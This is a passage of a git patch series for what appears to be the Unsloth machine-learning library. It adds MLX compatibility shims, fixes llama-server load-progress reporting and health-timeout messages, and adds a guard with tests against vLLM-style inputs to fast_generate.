super().__init__(*args, **kwargs) + + def _install_mlx_trl_sft_shim(): + """Install MLX-backed TRL SFT shims without replacing the TRL module.""" + _trl = _sys.modules.get("trl") + if _trl is None: + try: + import trl as _trl + except ImportError: + _trl = _types.ModuleType("trl") + _trl.__version__ = "0.0.0+unsloth-mlx" + _trl.__package__ = "trl" + _trl.__path__ = [] + _trl.__spec__ = _machinery.ModuleSpec("trl", loader = None, is_package = True) + _sys.modules["trl"] = _trl + + _trl.SFTTrainer = UnslothTrainer + _trl.SFTConfig = _MLXSFTConfig + # Only retarget trainers the installed trl actually exposes (don't invent + # attributes); idempotent so re-importing unsloth is a no-op. + # Decide what to stub from trl's declared exports (__all__) and already + # materialized attrs only. A getattr probe here would trigger trl's lazy + # trainer import, pulling torch and breaking `import unsloth` on torch-free + # MLX just to check existence. + _trl_exports = set(getattr(_trl, "__all__", ()) or ()) + # Stub every non-SFT trainer trl exposes, not just a fixed list, so newer + # trainers (RLOOTrainer, ...) also fail with a clear MLX message instead + # of importing the real torch trainer. Names come from __all__ so we never + # resolve them (that would trigger trl's lazy import and pull torch). + _unsupported = set(_MLX_UNSUPPORTED_TRL_TRAINERS) | { + _n for _n in _trl_exports if _n.endswith("Trainer") and _n != "SFTTrainer" + } + for _name in _unsupported: + _current = vars(_trl).get(_name) + if getattr(_current, "_unsloth_mlx_unsupported", False): + continue + if _name in _trl_exports or _current is not None: + setattr(_trl, _name, _make_mlx_unsupported_trl_trainer(_name)) + _trl.__all__ = _safe_mlx_trl_star_exports(_trl) + _trl.__UNSLOTH_MLX_COMPAT__ = True + + def _install_mlx_unsloth_trainer_shim(): + module_name = f"{__name__}.trainer" + _trainer = _types.ModuleType(module_name) + _trainer.__package__ = __name__ + _trainer.__spec__ = _machinery.ModuleSpec(module_name, loader = None) + _trainer.MLXTrainer = MLXTrainer + _trainer.MLXTrainingConfig = MLXTrainingConfig + _trainer.UnslothTrainer = UnslothTrainer + _trainer.UnslothTrainingArguments = UnslothTrainingArguments + _trainer.UnslothVisionDataCollator = UnslothVisionDataCollator + _sys.modules[module_name] = _trainer + globals()["trainer"] = _trainer + + _install_mlx_trl_sft_shim() + _install_mlx_unsloth_trainer_shim() + else: # GPU path: load everything from _gpu_init from ._gpu_init import * from ._gpu_init import __version__ + + def get_gpu_memory_stats(): + """Return CUDA/ROCm/XPU device stats, peak memory, and total memory in GiB.""" + try: + import torch + if hasattr(torch, "xpu") and torch.xpu.is_available(): + props = torch.xpu.get_device_properties(0) + peak = ( + torch.xpu.max_memory_reserved() + if hasattr(torch.xpu, "max_memory_reserved") + else torch.xpu.max_memory_allocated() + ) + total = getattr(props, "total_memory", 0) + return props, _bytes_to_gb(peak), _bytes_to_gb(total) or 1.0 + if hasattr(torch, "cuda") and torch.cuda.is_available(): + props = torch.cuda.get_device_properties(0) + peak = torch.cuda.max_memory_reserved() + total = getattr(props, "total_memory", 0) + return props, _bytes_to_gb(peak), _bytes_to_gb(total) or 1.0 + except Exception: + pass + stats = _UnslothDeviceStats("Unknown GPU", 0) + return stats, 0.0, 1.0 + + def clear_gpu_memory(): + """Clear cached GPU memory on CUDA, ROCm, or XPU when available.""" + try: + import torch + if hasattr(torch, "xpu") and torch.xpu.is_available(): + torch.xpu.empty_cache() + elif hasattr(torch, "cuda") and torch.cuda.is_available(): + torch.cuda.empty_cache() + except Exception: + pass diff --git a/unsloth/chat_templates.py b/unsloth/chat_templates.py index 60eb8de5d7..169b2dbd0e 100644 --- a/unsloth/chat_templates.py +++ b/unsloth/chat_templates.py @@ -27,18 +27,25 @@ __all__ = [ "test_construct_chat_template", ] -from transformers import StoppingCriteria, StoppingCriteriaList -from torch import LongTensor, FloatTensor -from transformers.models.llama.modeling_llama import logger +from transformers.utils import logging +try: + from torch import LongTensor, FloatTensor +except ImportError: + LongTensor = FloatTensor = None +logger = logging.get_logger(__name__) import os import shutil -from .tokenizer_utils import * import re from .ollama_template_mappers import OLLAMA_TEMPLATES -from unsloth_zoo.dataset_utils import ( - train_on_responses_only, - standardize_data_formats, -) +try: + from unsloth_zoo.dataset_utils import ( + train_on_responses_only, + standardize_data_formats, + ) +except ImportError: + # dataset_utils pulls torch; keep chat_templates importable on torch-free + # (MLX) hosts, which expose these via the backend-specific wrappers instead. + train_on_responses_only = standardize_data_formats = None standardize_sharegpt = standardize_data_formats CHAT_TEMPLATES = {} DEFAULT_SYSTEM_MESSAGE = {} @@ -1838,11 +1845,24 @@ def get_chat_template( map_eos_token = True, system_message = None, patch_saving = True, - use_zoo_tokenizer_patch = False, + use_zoo_tokenizer_patch = None, ): assert(type(map_eos_token) is bool) + import sys + is_mlx_backend = getattr(sys.modules.get("unsloth"), "DEVICE_TYPE", None) == "mlx" + if use_zoo_tokenizer_patch is None: + use_zoo_tokenizer_patch = is_mlx_backend old_tokenizer = tokenizer + # mlx-lm's TokenizerWrapper._tokenizer is the HF tokenizer, not the Rust + # backend the vocab-edit paths below need; unwrap here, re-wrap before return. + _mlx_tokenizer_wrapper = None + if is_mlx_backend and tokenizer.__class__.__name__ == "TokenizerWrapper": + _inner_tokenizer = getattr(tokenizer, "_tokenizer", None) + if _inner_tokenizer is not None and hasattr(_inner_tokenizer, "is_fast"): + _mlx_tokenizer_wrapper = tokenizer + tokenizer = _inner_tokenizer + IS_GEMMA = False if tokenizer.__class__.__name__.startswith("Gemma"): if chat_template == "chatml": chat_template = "gemma_chatml" @@ -1952,6 +1972,7 @@ def get_chat_template( pass # Must fix the sentence piece tokenizer since there's no tokenizer.model file! + from .tokenizer_utils import fix_sentencepiece_tokenizer tokenizer = fix_sentencepiece_tokenizer(tokenizer, new_tokenizer, token_mapping,) else: pass @@ -1997,6 +2018,7 @@ def get_chat_template( # Must fix the sentence piece tokenizer since there's no tokenizer.model file! token_mapping = { old_eos_token : stop_word, } + from .tokenizer_utils import fix_sentencepiece_tokenizer tokenizer = fix_sentencepiece_tokenizer(tokenizer, new_tokenizer, token_mapping,) pass @@ -2057,13 +2079,25 @@ def get_chat_template( # stopping_criteria = create_stopping_criteria(tokenizer, stop_word) # Patch saving functions - if patch_saving: + if patch_saving and not is_mlx_backend: from .save import patch_saving_functions tokenizer = patch_saving_functions(tokenizer) # Add Ollama tokenizer._ollama_modelfile = ollama_modelfile tokenizer._system_message = system_message + + # Re-wrap so the trainer gets the same TokenizerWrapper type back. + if _mlx_tokenizer_wrapper is not None: + _mlx_tokenizer_wrapper._tokenizer = tokenizer + eos_token_id = getattr(tokenizer, "eos_token_id", None) + if eos_token_id is not None: + _mlx_tokenizer_wrapper._eos_token_ids = {eos_token_id} + _mlx_tokenizer_wrapper._chat_template = None + _mlx_tokenizer_wrapper.has_chat_template = ( + getattr(tokenizer, "chat_template", None) is not None + ) + tokenizer = _mlx_tokenizer_wrapper return tokenizer#, stopping_criteria @@ -2749,6 +2783,15 @@ extra_eos_tokens = None, def create_stopping_criteria(tokenizer, stop_word = "eos_token"): + try: + import torch + from transformers import StoppingCriteria, StoppingCriteriaList + except ImportError as exc: + raise ImportError( + "Unsloth: create_stopping_criteria requires PyTorch and is only " + "supported on Torch backends." + ) from exc + class StoppingCriteriaSub(StoppingCriteria): __slots__ = "stop_token", "single_match", "length", @@ -2828,10 +2871,10 @@ def test_chat_templates(): for j in range(len(messages)-1): correct_prompt.append_message(correct_prompt.roles[j%2==1], messages[j+1]["content"]) correct_prompt.append_message(correct_prompt.roles[1], "") - correct_prompt = tokenizer.bos_token + correct_prompt.get_prompt() template = vicuna_template correct_tokenizer = AutoTokenizer.from_pretrained("lmsys/vicuna-7b-v1.5") + correct_prompt = correct_tokenizer.bos_token + correct_prompt.get_prompt() correct_tokenizer.chat_template = template our_prompt = correct_tokenizer.apply_chat_template(messages[1:], tokenize = False, add_generation_prompt = True) assert(correct_prompt == our_prompt) @@ -2845,10 +2888,10 @@ def test_chat_templates(): for j in range(len(messages)-1): correct_prompt.append_message(correct_prompt.roles[j%2==1], messages[j+1]["content"]) correct_prompt.append_message(correct_prompt.roles[1], "") - correct_prompt = tokenizer.bos_token + correct_prompt.get_prompt() template = vicuna_old_template correct_tokenizer = AutoTokenizer.from_pretrained("lmsys/vicuna-7b-v1.5") + correct_prompt = correct_tokenizer.bos_token + correct_prompt.get_prompt() correct_tokenizer.chat_template = template our_prompt = correct_tokenizer.apply_chat_template(messages[1:], tokenize = False, add_generation_prompt = True) # We add ourselves From abdc968e8d7ec82cab3349a5ae7edf5c41936ab4 Mon Sep 17 00:00:00 2001 From: Hakan Baysal Date: Fri, 3 Jul 2026 16:13:54 +0300 Subject: [PATCH 17/27] report a complete load once llama-server is healthy (#6790) * report a complete load once llama-server is healthy load_progress() derived its fraction purely from the llama-server's VmRSS over the GGUF shard total. With layers offloaded to VRAM (-ngl) the process releases the mmap'd weight pages after upload, so VmRSS sinks back well below the shard total: the fraction climbs toward ~1.0 during mmap, then collapses to a small value (~8%) once the weights are on the GPU. A fraction-driven progress bar therefore restarts and sticks there indefinitely even though the model is loaded and serving, which reads as a hang at "Starting model...". Once the server is healthy the load is complete by definition, so report fraction 1.0 (and bytes_loaded == bytes_total) in the ready phase regardless of resident set size. The VmRSS read is factored into _read_rss_bytes() with its original semantics preserved (0 on a missing VmRSS line, None when /proc is unavailable) so it can be unit-tested off Linux. Fixes #5740 * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * stub heavy deps in the load-progress test and guard a valueless VmRSS Two review fixes: 1. The new test imported core.inference.llama_cpp at module top, which pulls in loggers/structlog/httpx and fails collection with ModuleNotFoundError in the lightweight backend test env when the file is run on its own. Stub loggers, structlog and httpx via sys.modules.setdefault before the import, mirroring test_llama_cpp_load_progress_matrix.py; setdefault keeps the real modules when installed. Verified the file now collects and passes with only pytest present. 2. Catch IndexError in _read_rss_bytes: a "VmRSS:" line with no value column would make line.split()[1] raise and crash a load-progress poll. Return None instead, with a test for the valueless line. * Hold load-progress high-water mark and explain a never-healthy load (#5740) load_progress() now holds a per-process VmRSS high-water mark, so the bar no longer regresses to ~8% when -ngl offloads the weights and frees the mmap pages mid-load. A live server that never returns 200 on /health now gets a specific error (context/VRAM too large, or a local proxy/VPN intercepting the loopback probe) instead of the generic invalid-GGUF/out-of-memory message. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci --------- Co-authored-by: Hakan Baysal Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> Co-authored-by: Daniel Han Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com> --- studio/backend/core/inference/llama_cpp.py | 61 +++++-- ..._llama_cpp_start_failure_classification.py | 10 ++ .../tests/test_llama_cpp_wait_for_health.py | 9 + .../test_load_progress_ready_fraction.py | 166 ++++++++++++++++++ 4 files changed, 236 insertions(+), 10 deletions(-) create mode 100644 studio/backend/tests/test_load_progress_ready_fraction.py diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py index 8b984c0bfe..035e5d12c7 100644 --- a/studio/backend/core/inference/llama_cpp.py +++ b/studio/backend/core/inference/llama_cpp.py @@ -1273,6 +1273,7 @@ class LlamaCppBackend: self._is_diffusion: bool = False self._diffusion_visual_bin: Optional[str] = None self._healthy = False + self._load_rss_hwm = (None, 0) # (pid, peak VmRSS) for load_progress self._stats_logger = None # vLLM-style engine-stats poller, set on load # Set by _classify_gpu_offload after _wait_for_health. self._gpu_offload_active: Optional[bool] = None @@ -1480,6 +1481,21 @@ class LlamaCppBackend: """Return the model's native context length from GGUF metadata.""" return self._context_length + @staticmethod + def _read_rss_bytes(pid: int) -> Optional[int]: + """Resident set size of ``pid`` in bytes, from /proc//status (Linux). + 0 when the status has no VmRSS line (zombie / kernel thread); None where + /proc is unavailable (macOS/Windows) or the value is unreadable.""" + try: + with open(f"/proc/{pid}/status", "r", encoding = "utf-8") as f: + for line in f: + if line.startswith("VmRSS:"): + # IndexError guards a "VmRSS:" line with no value column. + return int(line.split()[1]) * 1024 # kB -> bytes + except (FileNotFoundError, PermissionError, ValueError, IndexError, OSError): + return None + return 0 # readable but no VmRSS line + def load_progress(self) -> Optional[dict]: """Return live model-load progress, or None if not loading. @@ -1539,22 +1555,32 @@ class LlamaCppBackend: except OSError: pass - # Read VmRSS from /proc//status (kilobytes on Linux). - bytes_loaded = 0 - try: - with open(f"/proc/{pid}/status", "r", encoding = "utf-8") as f: - for line in f: - if line.startswith("VmRSS:"): - kb = int(line.split()[1]) - bytes_loaded = kb * 1024 - break - except (FileNotFoundError, PermissionError, ValueError, OSError): + # VmRSS of the llama-server; None where /proc is unavailable. + bytes_loaded = LlamaCppBackend._read_rss_bytes(pid) + if bytes_loaded is None: return None + # RSS climbs as weights page in, then drops once -ngl offloads them to + # VRAM and the mmap pages are freed. Hold a per-process high-water mark + # so the bar never regresses to ~8% mid-load (#5740). + hwm_pid, hwm = getattr(self, "_load_rss_hwm", (None, 0)) + hwm = bytes_loaded if hwm_pid != pid else max(hwm, bytes_loaded) + self._load_rss_hwm = (pid, hwm) + bytes_loaded = hwm + phase = "ready" if self._healthy else "mmap" fraction = 0.0 if bytes_total > 0: fraction = min(1.0, bytes_loaded / bytes_total) + # Once llama-server is healthy the load is complete by definition. With + # layers offloaded to VRAM (-ngl) the process releases the mmap'd weight + # pages, so VmRSS sinks back well below the shard total; the raw RSS + # fraction would then report a partial (~8%) load indefinitely and freeze + # a fraction-driven progress bar even though the model is ready (#5740). + if self._healthy: + if bytes_total > 0: + bytes_loaded = bytes_total + fraction = 1.0 return { "phase": phase, "bytes_loaded": bytes_loaded, @@ -4232,6 +4258,17 @@ class LlamaCppBackend: "expected; otherwise check the llama-server log for the cause." ) + # A live server that never answered 200 on /health is not a bad GGUF: + # the load is too large for VRAM/context, or a local proxy/VPN grabbed + # the loopback probe (#5740). + if "health check timed out" in lowered: + return ( + "llama-server started but never became healthy on its local " + "/health endpoint. Try a smaller context length or a more " + "quantized GGUF, and if you use a VPN or HTTP proxy make sure " + "localhost bypasses it (NO_PROXY=127.0.0.1,localhost)." + ) + # Fallback: genuinely unknown failure (OOM, missing binary ...). return ( "llama-server failed to start. " @@ -7501,6 +7538,10 @@ class LlamaCppBackend: time.sleep(interval) + # Leave a marker so _classify_llama_start_failure tells a live but + # never-healthy load (too large, or a proxy hijacking the loopback + # probe) apart from a bad GGUF (#5740). + self._stdout_lines.append(f"llama-server health check timed out after {timeout}s") logger.error(f"llama-server health check timed out after {timeout}s") return False diff --git a/studio/backend/tests/test_llama_cpp_start_failure_classification.py b/studio/backend/tests/test_llama_cpp_start_failure_classification.py index 6b26121cf8..246d810602 100644 --- a/studio/backend/tests/test_llama_cpp_start_failure_classification.py +++ b/studio/backend/tests/test_llama_cpp_start_failure_classification.py @@ -140,6 +140,16 @@ class TestOllamaAndFallback: msg = _classify("", None, None) assert "llama-server failed to start" in msg + def test_health_timeout_names_probe_not_generic(self): + # A live server that never returns 200 on /health must name the probe and + # proxy/context causes, not blame a bad GGUF (#5740). + msg = _classify( + "llama-server health check timed out after 600.0s", "/models/x.gguf", "local/x" + ) + assert "/health" in msg + assert "NO_PROXY" in msg + assert "GGUF file is valid" not in msg + class TestOsKillReturncode: """SIGKILL (-9) with no diagnostic output is the OOM killer and gets a named, diff --git a/studio/backend/tests/test_llama_cpp_wait_for_health.py b/studio/backend/tests/test_llama_cpp_wait_for_health.py index 1ba6c9f7b5..82c5b4931a 100644 --- a/studio/backend/tests/test_llama_cpp_wait_for_health.py +++ b/studio/backend/tests/test_llama_cpp_wait_for_health.py @@ -67,6 +67,15 @@ class TestWaitForHealthResilience: monkeypatch.setattr(httpx, "get", lambda *a, **kw: ok_resp) assert b._wait_for_health(timeout = 1.0, interval = 0.01) is True + def test_timeout_records_marker_for_classification(self, monkeypatch): + """A live-but-never-healthy server leaves a marker so the failure is + classified as a /health timeout, not a bad GGUF (#5740).""" + b = _make_backend() + b._process.poll.return_value = None + monkeypatch.setattr(httpx, "get", lambda *a, **kw: mock.Mock(status_code = 503)) + assert b._wait_for_health(timeout = 0.02, interval = 0.01) is False + assert any("health check timed out" in ln for ln in b._stdout_lines) + def test_read_error_loops_to_subprocess_poll(self, monkeypatch): """WinError 10054 (httpx.ReadError) must be swallowed; the next iteration sees the dead subprocess and returns False with a structured exit-code log.""" b = _make_backend() diff --git a/studio/backend/tests/test_load_progress_ready_fraction.py b/studio/backend/tests/test_load_progress_ready_fraction.py new file mode 100644 index 0000000000..2e499cd8c6 --- /dev/null +++ b/studio/backend/tests/test_load_progress_ready_fraction.py @@ -0,0 +1,166 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""load_progress() must report a complete load once llama-server is healthy. + +With layers offloaded to VRAM (-ngl) the server releases the mmap'd weight pages +after upload, so its VmRSS sinks back well below the shard total. The raw RSS +fraction would then sit at a partial (~8%) value forever and freeze a +fraction-driven progress bar even though the model is ready -- the "stuck around +8% on the second pass" symptom in #5740. In the ready phase the fraction must be +1.0 regardless of resident set size. +""" + +from __future__ import annotations + +import io +import sys +import types +from pathlib import Path +from unittest.mock import patch + +import pytest + +# Stub heavy/unavailable deps before importing the module under test, so a +# targeted run in the lightweight backend env (no structlog/httpx) still +# collects. setdefault keeps the real modules when they are installed. Mirrors +# test_llama_cpp_load_progress_matrix.py. +_BACKEND_DIR = str(Path(__file__).resolve().parent.parent) +if _BACKEND_DIR not in sys.path: + sys.path.insert(0, _BACKEND_DIR) + +_loggers_stub = types.ModuleType("loggers") +_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name) +sys.modules.setdefault("loggers", _loggers_stub) + +sys.modules.setdefault("structlog", types.ModuleType("structlog")) + +_httpx_stub = types.ModuleType("httpx") +for _exc_name in ( + "ConnectError", + "TimeoutException", + "ReadTimeout", + "ReadError", + "RemoteProtocolError", + "CloseError", +): + setattr(_httpx_stub, _exc_name, type(_exc_name, (Exception,), {})) + + +class _FakeTimeout: + def __init__(self, *a, **kw): + pass + + +_httpx_stub.Timeout = _FakeTimeout +_httpx_stub.Client = type( + "Client", + (), + { + "__init__": lambda self, **kw: None, + "__enter__": lambda self: self, + "__exit__": lambda self, *a: None, + }, +) +sys.modules.setdefault("httpx", _httpx_stub) + +from core.inference.llama_cpp import LlamaCppBackend # noqa: E402 + + +def _backend( + gguf_path, + *, + healthy, + pid = 4321, +): + # Bare instance: exercise load_progress() without the heavy real __init__. + be = object.__new__(LlamaCppBackend) + be._process = types.SimpleNamespace(pid = pid) + be._gguf_path = str(gguf_path) + be._healthy = healthy + return be + + +def _gguf(tmp_path, size_bytes): + f = tmp_path / "model-Q4_K_M.gguf" + f.write_bytes(b"\0" * size_bytes) + return f + + +def test_ready_reports_complete_despite_low_rss(tmp_path, monkeypatch): + # Healthy, but VmRSS has dropped to ~8% of the shard total after VRAM upload. + monkeypatch.setattr(LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: 800)) + be = _backend(_gguf(tmp_path, 10000), healthy = True) + p = be.load_progress() + assert p["phase"] == "ready" + assert p["fraction"] == 1.0 # not 0.08 + assert p["bytes_loaded"] == p["bytes_total"] == 10000 + + +def test_mmap_phase_reports_raw_rss_fraction(tmp_path, monkeypatch): + # Still loading: the bar should track real residency, not jump to 1.0. + monkeypatch.setattr(LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: 800)) + be = _backend(_gguf(tmp_path, 10000), healthy = False) + p = be.load_progress() + assert p["phase"] == "mmap" + assert p["fraction"] == 0.08 + assert p["bytes_loaded"] == 800 + assert p["bytes_total"] == 10000 + + +def test_progress_fraction_is_monotonic(tmp_path, monkeypatch): + # RSS peaks during page-in, then drops after -ngl offload; the bar must hold + # its high-water mark instead of collapsing back to ~8% (#5740). + be = _backend(_gguf(tmp_path, 10000), healthy = False) + monkeypatch.setattr(LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: 9000)) + assert be.load_progress()["fraction"] == 0.9 + monkeypatch.setattr(LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: 800)) + p = be.load_progress() + assert p["fraction"] == 0.9 + assert p["bytes_loaded"] == 9000 + + +def test_ready_without_shard_size_still_completes(tmp_path, monkeypatch): + # bytes_total unknown (file unstattable): fraction must still read complete. + monkeypatch.setattr(LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: 800)) + be = _backend(tmp_path / "missing.gguf", healthy = True) + p = be.load_progress() + assert p["phase"] == "ready" + assert p["fraction"] == 1.0 + assert p["bytes_total"] == 0 + + +def test_none_when_no_process(tmp_path): + be = _backend(_gguf(tmp_path, 10000), healthy = True) + be._process = None + assert be.load_progress() is None + + +def test_none_when_rss_unreadable(tmp_path, monkeypatch): + # /proc unavailable (macOS/Windows) or unreadable -> no progress payload. + monkeypatch.setattr(LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: None)) + be = _backend(_gguf(tmp_path, 10000), healthy = False) + assert be.load_progress() is None + + +def test_read_rss_bytes_absent_pid_is_none(): + # A pid with no readable /proc entry (or no /proc at all) yields None, never + # raises. + assert LlamaCppBackend._read_rss_bytes(2**31 - 1) is None + + +def test_read_rss_bytes_valueless_line_is_none(): + # A "VmRSS:" line with no value column must not raise (IndexError) -> None. + def fake_open(path, *a, **kw): + if str(path).startswith("/proc/"): + return io.StringIO("Name:\ttest\nVmRSS:\n") + return open(path, *a, **kw) + + with patch("builtins.open", side_effect = fake_open): + assert LlamaCppBackend._read_rss_bytes(4321) is None + + +@pytest.mark.skipif(not sys.platform.startswith("linux"), reason = "/proc is Linux-only") +def test_read_rss_bytes_reads_self_on_linux(): + rss = LlamaCppBackend._read_rss_bytes(__import__("os").getpid()) + assert isinstance(rss, int) and rss > 0 From 9fd4a503e841b9eb7aa7b19e840d9feb705add6c Mon Sep 17 00:00:00 2001 From: Daniel Han Date: Fri, 3 Jul 2026 08:16:32 -0700 Subject: [PATCH 18/27] fast_generate: clear error for vLLM-style inputs when fast_inference=False (#6786) * fast_generate: clear error for vLLM-style inputs when fast_inference=False When fast_inference=False, fast_generate falls back to HuggingFace generate, and the wrapper already rejects vLLM-only usage (a sampling_params or lora_request kwarg, or a string prompt). A vLLM prompt dict ({'prompt':..., 'multi_modal_data':...}) or a SamplingParams passed positionally slipped through and hit transformers.generate, raising a cryptic 'SamplingParams object has no attribute update'. Detect both and raise the same clear 'only supported with fast_inference=True' error. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * fast_generate: also reject positional list of SamplingParams and list of vLLM prompt dicts Address review feedback: the slow-mode guard missed SamplingParams passed inside a positional list and a list of {"prompt": ...} dicts, both valid vLLM batched shapes that leaked into transformers.generate. Fold the checks into small predicates and extend the GPU-free test (now 7 reject + 3 pass). * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * test_fast_generate_slow_guard: expose assertions via a test_ function so pytest collects them The assertions lived in run(), only called from __main__, so pytest reported no tests collected and CI skipped the coverage. Rename to test_fast_generate_slow_guard; the standalone script entrypoint still works. * fast_generate: reject vLLM tokenized/embeds prompt dicts in the slow-mode guard vLLM also accepts prompt dicts keyed by prompt_token_ids or prompt_embeds, not just prompt/multi_modal_data. Those slipped past the slow-mode guard and fell through to HuggingFace generate with a cryptic error. Recognize all vLLM prompt-dict keys and add a TokensPrompt test case (now 8 reject + 3 pass). * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * fast_generate slow-mode guard: catch vLLM prompts= keyword form vLLM's generate names its first argument `prompts`, so a slow-mode call like fast_generate(prompts="hi") or prompts=[{"prompt": ...}] bypassed the guard and leaked into HuggingFace generate as an unexpected kwarg. Check kwargs["prompts"] with the same _is_vllm_prompt predicate and add two test cases. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * fast_generate slow-mode guard: reject vLLM tokenized prompt kwargs vLLM's legacy call shape passes tokens as prompt_token_ids= (and prompt_embeds=), which are not HuggingFace generate arguments. In slow mode these bypassed the guard and leaked into HF generate as unexpected kwargs. Reject their presence with the same tokenize-first message and add a test case. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * fast_generate slow-mode guard: treat prompts= as vLLM-only prompts is a vLLM keyword, not a HuggingFace generate argument, so any value passed as prompts= (including a bare token-id list, which _is_vllm_prompt deliberately ignores for positional HF token ids) is a vLLM-style call. Reject prompts= / prompt_token_ids= / prompt_embeds= on presence, and keep the conservative _is_vllm_prompt check only for the positional arg. * fast_generate slow-mode guard: reject vLLM prompt kwargs on presence prompts / prompt_token_ids / prompt_embeds are vLLM-only keyword names that HuggingFace generate does not accept, so a defaulted call like prompts=None should raise the actionable slow-mode error instead of leaking a None kwarg into HF generate. Check membership in kwargs rather than a non-None value. --------- Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> Co-authored-by: Wasim Yousef Said --- tests/test_fast_generate_slow_guard.py | 95 ++++++++++++++++++++++++++ unsloth/models/_utils.py | 70 +++++++++++-------- 2 files changed, 136 insertions(+), 29 deletions(-) create mode 100644 tests/test_fast_generate_slow_guard.py diff --git a/tests/test_fast_generate_slow_guard.py b/tests/test_fast_generate_slow_guard.py new file mode 100644 index 0000000000..6bfc561e54 --- /dev/null +++ b/tests/test_fast_generate_slow_guard.py @@ -0,0 +1,95 @@ +"""GPU-free test for the fast_generate slow-mode guard in _utils.py. + +When fast_inference=False, model.fast_generate falls back to HuggingFace generate, so vLLM-only +inputs must be rejected with a clear message instead of leaking into transformers.generate. Covers +a string prompt, a vLLM {"prompt":..., "multi_modal_data":...} dict, SamplingParams passed both +positionally and as a kwarg, and a normal tokenized call passing through. +""" + +import ast, functools, os + +HERE = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) +UTILS = os.path.join(HERE, "unsloth", "models", "_utils.py") + + +def _load_factory(): + src = open(UTILS).read() + for node in ast.parse(src).body: + if isinstance(node, ast.FunctionDef) and node.name == "make_fast_generate_wrapper": + ns = {"functools": functools} + exec(ast.get_source_segment(src, node), ns) + return ns["make_fast_generate_wrapper"] + raise AssertionError("make_fast_generate_wrapper not found in _utils.py") + + +make_fast_generate_wrapper = _load_factory() + + +class _SamplingParams: + pass + + +_SamplingParams.__name__ = "SamplingParams" # match by class name, no vllm import needed + + +def _wrapper(): + state = {} + + def original_generate(*a, **k): + state["hit"] = True + return "ok" + + return make_fast_generate_wrapper(original_generate), state + + +def _rejects(fn, needle): + try: + fn() + except ValueError as e: + assert needle in str(e), str(e) + return True + raise AssertionError("expected ValueError") + + +def test_fast_generate_slow_guard(): + w, _ = _wrapper() + # reject every vLLM-only shape + assert _rejects(lambda: w("hello"), "fast_inference=True") + assert _rejects( + lambda: w({"prompt": "hi", "multi_modal_data": {"image": None}}), "fast_inference=True" + ) + assert _rejects(lambda: w(["a", "b"]), "fast_inference=True") + assert _rejects(lambda: w([{"prompt": "hi"}]), "fast_inference=True") # list of prompt dicts + assert _rejects( + lambda: w({"prompt_token_ids": [1, 2, 3]}), "fast_inference=True" + ) # vLLM TokensPrompt + assert _rejects(lambda: w(prompts = "hello"), "fast_inference=True") # vLLM `prompts` kwarg + assert _rejects( + lambda: w(prompts = [{"prompt": "hi"}]), "fast_inference=True" + ) # vLLM `prompts` kwarg list + assert _rejects( + lambda: w(prompt_token_ids = [1, 2, 3]), "fast_inference=True" + ) # vLLM legacy tokenized kwarg + assert _rejects( + lambda: w(prompts = [1, 2, 3]), "fast_inference=True" + ) # token-id list via vLLM-only `prompts` kwarg + assert _rejects( + lambda: w(prompts = None), "fast_inference=True" + ) # vLLM-only kwarg present even if None + assert _rejects(lambda: w({"prompt": "hi"}, _SamplingParams()), "sampling_params") + assert _rejects( + lambda: w({"prompt": "hi"}, [_SamplingParams()]), "sampling_params" + ) # list of SamplingParams + assert _rejects(lambda: w(sampling_params = object()), "sampling_params") + + # pass normal tokenized calls with no false positives + w, state = _wrapper() + assert w(input_ids = "TOKENS", max_new_tokens = 8) == "ok" and state.get("hit") + assert w([1, 2, 3], max_new_tokens = 8) == "ok" # positional token ids + assert w([], max_new_tokens = 8) == "ok" # empty positional + print("13 reject + 3 pass fast_generate slow-mode guard cases passed") + + +if __name__ == "__main__": + test_fast_generate_slow_guard() + print("OK: fast_generate rejects vLLM-style inputs when fast_inference=False") diff --git a/unsloth/models/_utils.py b/unsloth/models/_utils.py index 599a5c0262..047783c35e 100644 --- a/unsloth/models/_utils.py +++ b/unsloth/models/_utils.py @@ -3602,8 +3602,27 @@ def make_fast_generate_wrapper(original_generate): @functools.wraps(original_generate) def _fast_generate_wrapper(*args, **kwargs): - # Check for vLLM-specific arguments - if "sampling_params" in kwargs: + def _has_sampling_params(a): + # SamplingParams passed directly or inside a positional list/tuple + return type(a).__name__ == "SamplingParams" or ( + isinstance(a, (list, tuple)) + and any(type(i).__name__ == "SamplingParams" for i in a) + ) + + def _is_vllm_prompt(a): + # str prompt, a vLLM prompt dict (prompt / prompt_token_ids / prompt_embeds / + # multi_modal_data), or a list/tuple of those + head = a[0] if isinstance(a, (list, tuple)) and len(a) > 0 else a + return isinstance(head, str) or ( + isinstance(head, dict) + and any( + k in head + for k in ("prompt", "prompt_token_ids", "prompt_embeds", "multi_modal_data") + ) + ) + + # vLLM-only; also catch SamplingParams passed positionally (fast_generate(prompt, params)) + if "sampling_params" in kwargs or any(_has_sampling_params(a) for a in args): raise ValueError( "Unsloth: `sampling_params` is only supported when `fast_inference=True` (vLLM). " "Since `fast_inference=False`, use HuggingFace generate arguments instead:\n" @@ -3616,33 +3635,26 @@ def make_fast_generate_wrapper(original_generate): "Since `fast_inference=False`, LoRA weights 